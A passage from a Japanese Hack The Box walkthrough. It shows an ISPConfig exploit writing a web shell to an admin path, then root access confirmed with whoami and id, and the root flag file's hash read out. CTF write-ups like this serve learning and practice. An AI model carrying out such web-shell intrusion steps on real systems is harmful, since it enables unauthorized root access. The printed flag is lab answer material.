[+] Shell written to: http://127.0.0.1:8088/admin/sh.php
[+] Launching shell...

ispconfig-shell#


(4) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

# whoami
root


# id
uid=0(root) gid=0(root) groups=0(root)


(5) 特権アカウント用のフラグファイルを確認する。

# cat /root/root.txt
19e23879e66ce994c48b698cdbe25d4b


関連記事(Hack The Box)

※後日作成予定。